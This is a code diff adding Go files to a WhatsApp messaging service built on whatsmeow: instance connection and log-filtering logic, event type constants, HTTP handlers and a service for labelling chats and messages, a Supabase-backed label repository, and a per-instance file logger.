+			i.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error unmarshalling proxy config: %v", instance.Id, err)
+			return err
+		}
+
+		if proxyConfig.Host != "" || i.config.ProxyHost != "" {
+			clientData.IsProxy = true
+		}
+	}
+
+	if i.clientPointer[instance.Id] != nil {
+		client := i.clientPointer[instance.Id]
+		client.Disconnect()
+
+		select {
+		case i.killChannel[instance.Id] <- true:
+		case <-time.After(5 * time.Second):
+		}
+
+		delete(i.clientPointer, instance.Id)
+		delete(i.killChannel, instance.Id)
+	}
+
+	go i.whatsmeowService.StartClient(clientData)
+
+	time.Sleep(2 * time.Second)
+
+	if i.clientPointer[instance.Id] != nil {
+		if !i.clientPointer[instance.Id].IsConnected() {
+			return fmt.Errorf("failed to connect")
+		}
+
+		if !i.clientPointer[instance.Id].IsLoggedIn() {
+			return fmt.Errorf("failed to login")
+		}
+	} else {
+		return fmt.Errorf("failed to connect")
+	}
+
+	return nil
+}
+
+func (i instances) GetInstanceByToken(token string) (*instance_model.Instance, error) {
+	return i.instanceRepository.GetInstanceByToken(token)
+}
+
+func (i instances) GetLogs(instanceId string, startDate, endDate time.Time, level string, limit int) ([]logger_wrapper.LogEntry, error) {
+	// Inicializa o slice vazio para garantir que nunca retorne null
+	logs := make([]logger_wrapper.LogEntry, 0)
+
+	// Define valores padrão
+	if limit <= 0 {
+		limit = 100 // Limite padrão de 100 registros
+	}
+
+	// Se não foi fornecida data inicial, usa 7 dias atrás
+	if startDate.IsZero() {
+		startDate = time.Now().AddDate(0, 0, -7)
+	}
+
+	// Se não foi fornecida data final, usa data atual
+	if endDate.IsZero() {
+		endDate = time.Now()
+	}
+
+	// Ajusta as datas para início e fim do dia
+	startDate = time.Date(startDate.Year(), startDate.Month(), startDate.Day(), 0, 0, 0, 0, time.UTC)
+	endDate = time.Date(endDate.Year(), endDate.Month(), endDate.Day(), 23, 59, 59, 999999999, time.UTC)
+
+	// Garante que a data inicial não seja posterior à data final
+	if startDate.After(endDate) {
+		return logs, fmt.Errorf("data inicial não pode ser posterior à data final")
+	}
+
+	// Níveis de log válidos
+	validLevels := map[string]bool{
+		"INFO":  true,
+		"ERROR": true,
+		"WARN":  true,
+		"DEBUG": true,
+	}
+
+	var levelArray []string
+	if level == "" {
+		// Se nenhum nível foi especificado, usa todos
+		levelArray = []string{"INFO", "ERROR", "WARN", "DEBUG"}
+	} else {
+		// Divide e normaliza os níveis fornecidos
+		for _, l := range strings.Split(level, ",") {
+			l = strings.TrimSpace(strings.ToUpper(l))
+			if !validLevels[l] {
+				return logs, fmt.Errorf("nível de log inválido: %s", l)
+			}
+			levelArray = append(levelArray, l)
+		}
+	}
+
+	// Lê os logs do arquivo
+	logPath := filepath.Join(i.config.LogDirectory, instanceId, "instance.log")
+	file, err := os.Open(logPath)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return logs, nil // Retorna array vazio se arquivo não existir
+		}
+		return logs, fmt.Errorf("erro ao abrir arquivo de log: %v", err)
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+
+	// Aumenta o buffer do scanner para lidar com linhas grandes
+	const maxCapacity = 1024 * 1024 // 1MB
+	buf := make([]byte, maxCapacity)
+	scanner.Buffer(buf, maxCapacity)
+
+	for scanner.Scan() {
+		var entry logger_wrapper.LogEntry
+		if err := json.Unmarshal(scanner.Bytes(), &entry); err != nil {
+			continue // Ignora linhas inválidas
+		}
+
+		// Ajusta o timestamp da entrada para UTC para comparação correta
+		entry.Timestamp = entry.Timestamp.UTC()
+
+		// Aplica os filtros
+		if entry.Timestamp.Before(startDate) || entry.Timestamp.After(endDate) {
+			continue
+		}
+
+		if !slices.Contains(levelArray, entry.Level) {
+			continue
+		}
+
+		logs = append(logs, entry)
+
+		// Verifica o limite
+		if len(logs) >= limit {
+			break
+		}
+	}
+
+	if err := scanner.Err(); err != nil {
+		return logs, fmt.Errorf("erro ao ler arquivo de log: %v", err)
+	}
+
+	// Ordena os logs por timestamp em ordem decrescente
+	sort.Slice(logs, func(i, j int) bool {
+		return logs[i].Timestamp.After(logs[j].Timestamp)
+	})
+
+	return logs, nil
+}
+
+func (i instances) GetAdvancedSettings(instanceId string) (*instance_model.AdvancedSettings, error) {
+	i.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Getting advanced settings", instanceId)
+
+	settings, err := i.instanceRepository.GetAdvancedSettings(instanceId)
+	if err != nil {
+		i.loggerWrapper.GetLogger(instanceId).LogError("[%s] Error getting advanced settings: %v", instanceId, err)
+		return nil, err
+	}
+
+	return settings, nil
+}
+
+func (i instances) UpdateAdvancedSettings(instanceId string, settings *instance_model.AdvancedSettings) error {
+	i.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Updating advanced settings", instanceId)
+
+	err := i.instanceRepository.UpdateAdvancedSettings(instanceId, settings)
+	if err != nil {
+		i.loggerWrapper.GetLogger(instanceId).LogError("[%s] Error updating advanced settings: %v", instanceId, err)
+		return err
+	}
+
+	// Sincroniza as configurações na instância em execução
+	err = i.whatsmeowService.UpdateInstanceAdvancedSettings(instanceId)
+	if err != nil {
+		i.loggerWrapper.GetLogger(instanceId).LogWarn("[%s] Error syncing advanced settings to runtime: %v", instanceId, err)
+		// Não falha a operação, apenas loga o warning
+	}
+
+	i.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Advanced settings updated successfully", instanceId)
+	return nil
+}
+
+func NewInstanceService(
+	instanceRepository instance_repository.InstanceRepository,
+	killChannel map[string](chan bool),
+	clientPointer map[string]*whatsmeow.Client,
+	whatsmeowService whatsmeow_service.WhatsmeowService,
+	config *config.Config,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) InstanceService {
+	return &instances{
+		instanceRepository: instanceRepository,
+		killChannel:        killChannel,
+		clientPointer:      clientPointer,
+		whatsmeowService:   whatsmeowService,
+		config:             config,
+		loggerWrapper:      loggerWrapper,
+	}
+}

whatsapp-service/pkg/internal/event_types/event_types.go

@@ -0,0 +1,64 @@
+package event_types
+
+const (
+	ALL           = "ALL"
+	MESSAGE       = "MESSAGE"
+	SEND_MESSAGE  = "SEND_MESSAGE"
+	READ_RECEIPT  = "READ_RECEIPT"
+	PRESENCE      = "PRESENCE"
+	HISTORY_SYNC  = "HISTORY_SYNC"
+	CHAT_PRESENCE = "CHAT_PRESENCE"
+	CALL          = "CALL"
+	CONNECTION    = "CONNECTION"
+	LABEL         = "LABEL"
+	CONTACT       = "CONTACT"
+	GROUP         = "GROUP"
+	NEWSLETTER    = "NEWSLETTER"
+	QRCODE        = "QRCODE"
+	BUTTON_CLICK  = "BUTTON_CLICK"
+	PICTURE       = "PICTURE"
+	USER_ABOUT    = "USER_ABOUT"
+)
+
+var AllEventTypes = []string{
+	MESSAGE,
+	SEND_MESSAGE,
+	READ_RECEIPT,
+	PRESENCE,
+	HISTORY_SYNC,
+	CHAT_PRESENCE,
+	CALL,
+	CONNECTION,
+	LABEL,
+	CONTACT,
+	GROUP,
+	NEWSLETTER,
+	QRCODE,
+	BUTTON_CLICK,
+	PICTURE,
+	USER_ABOUT,
+}
+
+var validEventTypes = map[string]bool{
+	ALL:           true,
+	MESSAGE:       true,
+	SEND_MESSAGE:  true,
+	READ_RECEIPT:  true,
+	PRESENCE:      true,
+	HISTORY_SYNC:  true,
+	CHAT_PRESENCE: true,
+	CALL:          true,
+	CONNECTION:    true,
+	LABEL:         true,
+	CONTACT:       true,
+	GROUP:         true,
+	NEWSLETTER:    true,
+	QRCODE:        true,
+	BUTTON_CLICK:  true,
+	PICTURE:       true,
+	USER_ABOUT:    true,
+}
+
+func IsEventType(eventType string) bool {
+	return validEventTypes[eventType]
+}

whatsapp-service/pkg/label/handler/label_handler.go

@@ -0,0 +1,297 @@
+package label_handler
+
+import (
+	"net/http"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	label_service "agentdeck-whatsapp-service/pkg/label/service"
+	"github.com/gin-gonic/gin"
+)
+
+type LabelHandler interface {
+	ChatLabel(ctx *gin.Context)
+	MessageLabel(ctx *gin.Context)
+	EditLabel(ctx *gin.Context)
+	ChatUnlabel(ctx *gin.Context)
+	MessageUnlabel(ctx *gin.Context)
+	GetLabels(ctx *gin.Context)
+}
+
+type labelHandler struct {
+	labelService label_service.LabelService
+}
+
+// Add label to chat
+// @Summary Add label to chat
+// @Description Add label to chat
+// @Tags Label
+// @Accept json
+// @Produce json
+// @Param message body label_service.ChatLabelStruct true "Label data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /label/chat [post]
+func (l *labelHandler) ChatLabel(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *label_service.ChatLabelStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.JID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "jid is required"})
+		return
+	}
+
+	if data.LabelID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "label id is required"})
+		return
+	}
+
+	err = l.labelService.ChatLabel(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Add label to message
+// @Summary Add label to message
+// @Description Add label to message
+// @Tags Label
+// @Accept json
+// @Produce json
+// @Param message body label_service.MessageLabelStruct true "Label data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /label/message [post]
+func (l *labelHandler) MessageLabel(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *label_service.MessageLabelStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.JID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "jid is required"})
+		return
+	}
+
+	if data.LabelID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "label id is required"})
+		return
+	}
+
+	if data.MessageID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "message id is required"})
+		return
+	}
+
+	err = l.labelService.MessageLabel(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Edit label
+// @Summary Edit label
+// @Description Edit label
+// @Tags Label
+// @Accept json
+// @Produce json
+// @Param message body label_service.EditLabelStruct true "Label data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /label/edit [post]
+func (l *labelHandler) EditLabel(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *label_service.EditLabelStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.LabelID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "label id is required"})
+		return
+	}
+
+	if data.Name == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "name is required"})
+		return
+	}
+
+	err = l.labelService.EditLabel(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Remove label from chat
+// @Summary Remove label from chat
+// @Description Remove label from chat
+// @Tags Label
+// @Accept json
+// @Produce json
+// @Param message body label_service.ChatLabelStruct true "Label data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /unlabel/chat [post]
+func (l *labelHandler) ChatUnlabel(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *label_service.ChatLabelStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.JID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "jid is required"})
+		return
+	}
+
+	if data.LabelID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "label id is required"})
+		return
+	}
+
+	err = l.labelService.ChatUnlabel(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Remove label from message
+// @Summary Remove label from message
+// @Description Remove label from message
+// @Tags Label
+// @Accept json
+// @Produce json
+// @Param message body label_service.MessageLabelStruct true "Label data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /unlabel/message [post]
+func (l *labelHandler) MessageUnlabel(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *label_service.MessageLabelStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.JID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "jid is required"})
+		return
+	}
+
+	if data.LabelID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "label id is required"})
+		return
+	}
+
+	if data.MessageID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "message id is required"})
+		return
+	}
+
+	err = l.labelService.MessageUnlabel(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Get all labels
+// @Summary Get all labels
+// @Description Get all labels
+// @Tags Label
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "success"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /label/list [get]
+func (l *labelHandler) GetLabels(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	labels, err := l.labelService.GetLabels(instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, labels)
+}
+
+func NewLabelHandler(
+	labelService label_service.LabelService,
+) LabelHandler {
+	return &labelHandler{
+		labelService: labelService,
+	}
+}

whatsapp-service/pkg/label/model/label_model.go

@@ -0,0 +1,10 @@
+package label_model
+
+type Label struct {
+	Id           string `json:"id"`
+	InstanceID   string `json:"instance_id"`
+	LabelID      string `json:"label_id"`
+	LabelName    string `json:"label_name"`
+	LabelColor   string `json:"label_color"`
+	PredefinedId string `json:"predefined_id"`
+}

whatsapp-service/pkg/label/repository/label_repository.go

@@ -0,0 +1,144 @@
+package label_repository
+
+import (
+	"context"
+
+	label_model "agentdeck-whatsapp-service/pkg/label/model"
+	"agentdeck-whatsapp-service/pkg/supabase"
+	"github.com/google/uuid"
+)
+
+type LabelRepository interface {
+	InsertLabel(label label_model.Label) error
+	UpdateLabel(label label_model.Label) error
+	GetLabelByID(id string) (*label_model.Label, error)
+	DeleteLabel(id string) error
+	GetAllLabelsByInstanceID(instanceID string) ([]label_model.Label, error)
+	UpsertLabel(label label_model.Label) error
+}
+
+type labelRepository struct {
+	supa *supabase.Client
+}
+
+// labelRow is the snake_case PostgREST representation of a labels row.
+type labelRow struct {
+	Id           string `json:"id"`
+	InstanceID   string `json:"instance_id"`
+	LabelID      string `json:"label_id"`
+	LabelName    string `json:"label_name"`
+	LabelColor   string `json:"label_color"`
+	PredefinedId string `json:"predefined_id"`
+}
+
+func (l *labelRepository) InsertLabel(label label_model.Label) error {
+	if label.Id == "" {
+		label.Id = uuid.New().String()
+	}
+	ctx := context.Background()
+	return l.supa.Table("wp_labels").Insert(ctx, labelRow{
+		Id:           label.Id,
+		InstanceID:   label.InstanceID,
+		LabelID:      label.LabelID,
+		LabelName:    label.LabelName,
+		LabelColor:   label.LabelColor,
+		PredefinedId: label.PredefinedId,
+	}, "", nil)
+}
+
+func (l *labelRepository) UpdateLabel(label label_model.Label) error {
+	ctx := context.Background()
+	row := labelRow{
+		Id:           label.Id,
+		InstanceID:   label.InstanceID,
+		LabelID:      label.LabelID,
+		LabelName:    label.LabelName,
+		LabelColor:   label.LabelColor,
+		PredefinedId: label.PredefinedId,
+	}
+	q := supabase.NewQuery().Eq("id", label.Id)
+	return l.supa.Table("wp_labels").Update(ctx, q, row)
+}
+
+func (l *labelRepository) GetLabelByID(id string) (*label_model.Label, error) {
+	q := supabase.NewQuery().Eq("id", id).Limit(1)
+	var rows []labelRow
+	ctx := context.Background()
+	if err := l.supa.Table("wp_labels").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	if len(rows) == 0 {
+		return nil, nil
+	}
+	return &label_model.Label{
+		Id:           rows[0].Id,
+		InstanceID:   rows[0].InstanceID,
+		LabelID:      rows[0].LabelID,
+		LabelName:    rows[0].LabelName,
+		LabelColor:   rows[0].LabelColor,
+		PredefinedId: rows[0].PredefinedId,
+	}, nil
+}
+
+func (l *labelRepository) DeleteLabel(id string) error {
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", id)
+	return l.supa.Table("wp_labels").Delete(ctx, q)
+}
+
+func (l *labelRepository) GetAllLabelsByInstanceID(instanceID string) ([]label_model.Label, error) {
+	q := supabase.NewQuery().Eq("instance_id", instanceID)
+	var rows []labelRow
+	ctx := context.Background()
+	if err := l.supa.Table("wp_labels").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	out := make([]label_model.Label, 0, len(rows))
+	for _, r := range rows {
+		out = append(out, label_model.Label{
+			Id:           r.Id,
+			InstanceID:   r.InstanceID,
+			LabelID:      r.LabelID,
+			LabelName:    r.LabelName,
+			LabelColor:   r.LabelColor,
+			PredefinedId: r.PredefinedId,
+		})
+	}
+	return out, nil
+}
+
+func (l *labelRepository) UpsertLabel(label label_model.Label) error {
+	ctx := context.Background()
+	// PostgREST merge-duplicates uses the table's unique constraint; the labels
+	// table's practical uniqueness is (instance_id, label_id) but the PK is id.
+	// Keep the original FirstOrCreate semantics: look it up first.
+	q := supabase.NewQuery().Eq("instance_id", label.InstanceID).Eq("label_id", label.LabelID).Limit(1)
+	var rows []labelRow
+	if err := l.supa.Table("wp_labels").Select(ctx, q, &rows); err != nil {
+		return err
+	}
+	if len(rows) == 0 {
+		if label.Id == "" {
+			label.Id = uuid.New().String()
+		}
+		return l.supa.Table("wp_labels").Insert(ctx, labelRow{
+			Id:           label.Id,
+			InstanceID:   label.InstanceID,
+			LabelID:      label.LabelID,
+			LabelName:    label.LabelName,
+			LabelColor:   label.LabelColor,
+			PredefinedId: label.PredefinedId,
+		}, "", nil)
+	}
+
+	row := rows[0]
+	row.LabelName = label.LabelName
+	row.LabelColor = label.LabelColor
+	row.PredefinedId = label.PredefinedId
+	q2 := supabase.NewQuery().Eq("id", rows[0].Id)
+	return l.supa.Table("wp_labels").Update(ctx, q2, row)
+}
+
+func NewLabelRepository(supa *supabase.Client) LabelRepository {
+	return &labelRepository{supa: supa}
+}

whatsapp-service/pkg/label/service/label_service.go

@@ -0,0 +1,240 @@
+package label_service
+
+import (
+	"context"
+	"errors"
+	"time"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	label_model "agentdeck-whatsapp-service/pkg/label/model"
+	label_repository "agentdeck-whatsapp-service/pkg/label/repository"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"agentdeck-whatsapp-service/pkg/utils"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	"go.mau.fi/whatsmeow"
+	"go.mau.fi/whatsmeow/appstate"
+)
+
+type LabelService interface {
+	ChatLabel(data *ChatLabelStruct, instance *instance_model.Instance) error
+	MessageLabel(data *MessageLabelStruct, instance *instance_model.Instance) error
+	EditLabel(data *EditLabelStruct, instance *instance_model.Instance) error
+	ChatUnlabel(data *ChatLabelStruct, instance *instance_model.Instance) error
+	MessageUnlabel(data *MessageLabelStruct, instance *instance_model.Instance) error
+	GetLabels(instance *instance_model.Instance) ([]label_model.Label, error)
+}
+
+type labelService struct {
+	clientPointer    map[string]*whatsmeow.Client
+	whatsmeowService whatsmeow_service.WhatsmeowService
+	labelRepository  label_repository.LabelRepository
+	loggerWrapper    *logger_wrapper.LoggerManager
+}
+
+type ChatLabelStruct struct {
+	JID     string `json:"jid"`
+	LabelID string `json:"labelId"`
+}
+
+type MessageLabelStruct struct {
+	JID       string `json:"jid"`
+	LabelID   string `json:"labelId"`
+	MessageID string `json:"messageId"`
+}
+
+type EditLabelStruct struct {
+	LabelID string `json:"labelId"`
+	Name    string `json:"name"`
+	Color   int    `json:"color"`
+	Deleted bool   `json:"deleted"`
+}
+
+func (l *labelService) ensureClientConnected(instanceId string) (*whatsmeow.Client, error) {
+	client := l.clientPointer[instanceId]
+	l.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking client connection status - Client exists: %v", instanceId, client != nil)
+
+	if client == nil {
+		l.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] No client found, attempting to start new instance", instanceId)
+		err := l.whatsmeowService.StartInstance(instanceId)
+		if err != nil {
+			l.loggerWrapper.GetLogger(instanceId).LogError("[%s] Failed to start instance: %v", instanceId, err)
+			return nil, errors.New("no active session found")
+		}
+
+		l.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Instance started, waiting 2 seconds...", instanceId)
+		time.Sleep(2 * time.Second)
+
+		client = l.clientPointer[instanceId]
+		l.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking new client - Exists: %v, Connected: %v",
+			instanceId,
+			client != nil,
+			client != nil && client.IsConnected())
+
+		if client == nil || !client.IsConnected() {
+			l.loggerWrapper.GetLogger(instanceId).LogError("[%s] New client validation failed - Exists: %v, Connected: %v",
+				instanceId,
+				client != nil,
+				client != nil && client.IsConnected())
+			return nil, errors.New("no active session found")
+		}
+	} else if !client.IsConnected() {
+		l.loggerWrapper.GetLogger(instanceId).LogError("[%s] Existing client is disconnected - Connected status: %v",
+			instanceId,
+			client.IsConnected())
+		return nil, errors.New("client disconnected")
+	}
+
+	l.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Client successfully validated - Connected: %v", instanceId, client.IsConnected())
+	return client, nil
+}
+
+func (l *labelService) ChatLabel(data *ChatLabelStruct, instance *instance_model.Instance) error {
+	client, err := l.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	jid, ok := utils.ParseJID(data.JID)
+	if !ok {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error parse community jid", instance.Id)
+		return errors.New("error parse community jid")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildLabelChat(
+		jid,
+		data.LabelID,
+		true,
+	))
+	if err != nil {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error label chat: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (l *labelService) MessageLabel(data *MessageLabelStruct, instance *instance_model.Instance) error {
+	client, err := l.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	jid, ok := utils.ParseJID(data.JID)
+	if !ok {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error parse community jid", instance.Id)
+		return errors.New("error parse community jid")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildLabelMessage(
+		jid,
+		data.LabelID,
+		data.MessageID,
+		true,
+	))
+	if err != nil {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error label message: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (l *labelService) EditLabel(data *EditLabelStruct, instance *instance_model.Instance) error {
+	client, err := l.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildLabelEdit(
+		data.LabelID,
+		data.Name,
+		int32(data.Color),
+		data.Deleted,
+	))
+	if err != nil {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error label message: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (l *labelService) ChatUnlabel(data *ChatLabelStruct, instance *instance_model.Instance) error {
+	client, err := l.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	jid, ok := utils.ParseJID(data.JID)
+	if !ok {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error parse community jid", instance.Id)
+		return errors.New("error parse community jid")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildLabelChat(
+		jid,
+		data.LabelID,
+		false,
+	))
+	if err != nil {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error label chat: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (l *labelService) MessageUnlabel(data *MessageLabelStruct, instance *instance_model.Instance) error {
+	client, err := l.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	jid, ok := utils.ParseJID(data.JID)
+	if !ok {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error parse community jid", instance.Id)
+		return errors.New("error parse community jid")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildLabelMessage(
+		jid,
+		data.LabelID,
+		data.MessageID,
+		false,
+	))
+	if err != nil {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error label message: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (l *labelService) GetLabels(instance *instance_model.Instance) ([]label_model.Label, error) {
+	_, err := l.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	labels, err := l.labelRepository.GetAllLabelsByInstanceID(instance.Id)
+	if err != nil {
+		l.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error fetching labels from database: %v", instance.Id, err)
+		return nil, err
+	}
+
+	return labels, nil
+}
+
+func NewLabelService(
+	clientPointer map[string]*whatsmeow.Client,
+	whatsmeowService whatsmeow_service.WhatsmeowService,
+	labelRepository label_repository.LabelRepository,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) LabelService {
+	return &labelService{
+		clientPointer:    clientPointer,
+		whatsmeowService: whatsmeowService,
+		labelRepository:  labelRepository,
+		loggerWrapper:    loggerWrapper,
+	}
+}

whatsapp-service/pkg/logger/logger.go

@@ -0,0 +1,146 @@
+package logger
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"sync"
+	"time"
+
+	"agentdeck-whatsapp-service/pkg/config"
+	"github.com/gomessguii/logger"
+	"gopkg.in/natefinch/lumberjack.v2"
+)
+
+type LoggerManager struct {
+	config  *config.Config
+	loggers map[string]*Logger
+	mu      sync.RWMutex
+}
+
+type Logger struct {
+	config     *config.Config
+	instanceId string
+	mu         sync.Mutex
+	writer     *lumberjack.Logger
+}
+
+type LogEntry struct {
+	Timestamp  time.Time       `json:"timestamp"`
+	Level      string          `json:"level"`
+	InstanceId string          `json:"instance_id"`
+	Message    string          `json:"message"`
+	Metadata   json.RawMessage `json:"metadata,omitempty"`
+}
+
+func NewLoggerManager(config *config.Config) *LoggerManager {
+	// Garante que o diretório base de logs existe
+	if err := os.MkdirAll(config.LogDirectory, 0755); err != nil {
+		logger.LogError("Falha ao criar diretório base de logs: %v", err)
+	}
+
+	return &LoggerManager{
+		config:  config,
+		loggers: make(map[string]*Logger),
+	}
+}
+
+func (lm *LoggerManager) GetLogger(instanceId string) *Logger {
+	lm.mu.RLock()
+	logger, exists := lm.loggers[instanceId]
+	lm.mu.RUnlock()
+
+	if exists {
+		return logger
+	}
+
+	lm.mu.Lock()
+	defer lm.mu.Unlock()
+
+	// Verificar novamente após obter o lock de escrita
+	if logger, exists = lm.loggers[instanceId]; exists {
+		return logger
+	}
+
+	// Criar novo logger para a instância
+	logger = newLogger(instanceId, lm.config)
+	lm.loggers[instanceId] = logger
+	return logger
+}
+
+func newLogger(instanceId string, config *config.Config) *Logger {
+	// Garante que o diretório existe
+	logPath := filepath.Join(config.LogDirectory, instanceId)
+	os.MkdirAll(logPath, 0755)
+
+	logFile := filepath.Join(logPath, "instance.log")
+
+	writer := &lumberjack.Logger{
+		Filename:   logFile,
+		MaxSize:    config.LogMaxSize,
+		MaxBackups: config.LogMaxBackups,
+		MaxAge:     config.LogMaxAge,
+		Compress:   config.LogCompress,
+	}
+
+	return &Logger{
+		config:     config,
+		instanceId: instanceId,
+		writer:     writer,
+	}
+}
+
